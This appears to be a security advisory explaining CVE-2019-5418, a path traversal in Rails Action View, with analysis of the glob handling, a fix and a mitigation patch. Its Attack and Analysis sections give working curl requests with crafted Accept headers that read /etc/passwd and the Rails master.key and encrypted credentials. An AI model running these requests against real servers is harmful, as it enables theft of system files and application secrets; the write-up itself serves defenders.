βœ…πŸ΄πŸ”‹[

CVE-2019-5418

File Content Disclosure in Action View

If you render files without templates in your controllers on affected versions of Rails, it is possible for attackers to read arbitrary files on your file system. From there, bad things happen.

Related Code Affected Versions Patched Versions
ActionView All 6.0.0.beta3
5.2.2.1
5.1.6.2
5.0.7.2
4.2.11.1

Vulnerability1

Specially crafted Accept request headers in combination with a call to endpoints that render file: can be used to traverse directory paths and expose sensitive information. A vulnerable controller will look something like this:

class UserController < ApplicationController
  def index
    render file: "#{Rails.root}/some/file"
  end
end

Weakness

This vulnerability lets an attacker traverse directory paths which can then lead to the exposure of sensitive information.

Attack

The attacking request will look something like this:

curl -H 'Accept: ../../../../../../../../etc/passwd{{' http://target/users

Since the target endpoint controller renders files without a specified accept format, then the contents of the file /etc/passwd can be read.

Analysis

The ActionView::TemplateRenderer class will try to resolve a path, that is based on the formats requested in the Accept header.2

The attack exploits code in the ActionView::PathResolver class, in particular, the way in which template paths are queried in the find_template_paths method.

def find_template_paths(query)
  Dir[query].uniq.reject do |filename|
    File.directory?(filename) ||
      # deals with case-insensitive file systems.
      !File.fnmatch(query, filename, File::FNM_EXTGLOB)
  end
end

Objects of class Dir are directory streams, representing directories in the underlying file system. Dir[query] is equivalent to calling Dir.glob([string,...], 0) which will return an array of matching directories.

The pattern passed to the glob method looks like a regexp but is more like a shell glob. The attacker takes advantage of this by passing in a pattern that looks like this:

../../../../../../../../etc/passwd{{

So instead of a glob for this:

/app/app/views/layouts/users{.en,}
  {.html,}
  {}
  {.raw,.erb,.html,.builder,.ruby,.coffee,.jbuilder,}

The addition of the Accept header will glob for this:

/app/app/views/layouts/users{.en,}
  {.../../../../../../etc/password{{,}
  {}
  {.raw,.erb,.html,.builder,.ruby,.coffee,.jbuilder,}

The double { is enough to make this a valid pattern. The ../ pattern goes up one directory from wherever the code is called, and repeating them enough times, gets you back to root, high enough to then read in something like /etc/passwd. The contents of that file are then cached and rendered back to the user.

The attacker can do more damage though, by reading sensitive files, such as those used by the Rails credentials API. These files typically live in the #{Rails.root}/config/ directory, and the attacker can use a pattern that looks like this to read them:

../../../../../../**/config/master.key{{

The inclusion of a ** pattern will match directories recursively (without needing to guess the directory layout), and the config/master.key pattern should find the master.key in the target Rails config directory. If the attacker retrieves that key along with credentials.yml.enc from the same directory, they will be able to decrypt and use related credentials in chained attacks.

Of note though, the contents are cached3 so an attacker will need to make multiple requests to different servers or wait for your server to be redeployed with a cold cache. It’s also possible to fork a race condition with something like this to retrieve both files:

curl -H 'Accept: ../../../../../../**/config/master.key{{' \
  http://localhost:3000/users/index & \
curl -H 'Accept: ../../../../../../**/config/credentials.yml.enc{{' \
  http://localhost:3000/users/index

Fix

The best fix for this, is to upgrade Rails to one of the patched versions.

The vulnerability can be mitigated by making sure you render files with a fixed format:

render file: "#{Rails.root}/some/file", formats: [:html]

You can also monkey patch ActionDispatch via your own initializer, which is similar to what the patched versions of the MimeNegotiation module do to prevent a string containing traverse patterns being accepted in the first place:

ActionDispatch::Request.prepend(Module.new do
  def formats
    super().select do |format|
      format.symbol || format.ref == "*/*"
    end
  end
end)

In general, it’s best to upgrade to a patched version of Rails before monkey patching this yourself. The latter is easily forgotten over time and can cause you all sorts of headaches in future.

Research

You can re-create this in a CVE laboratory environment using Docker.

CVE=CVE-2019-5418 RAILS_VERSION=5.2.1 make lab

References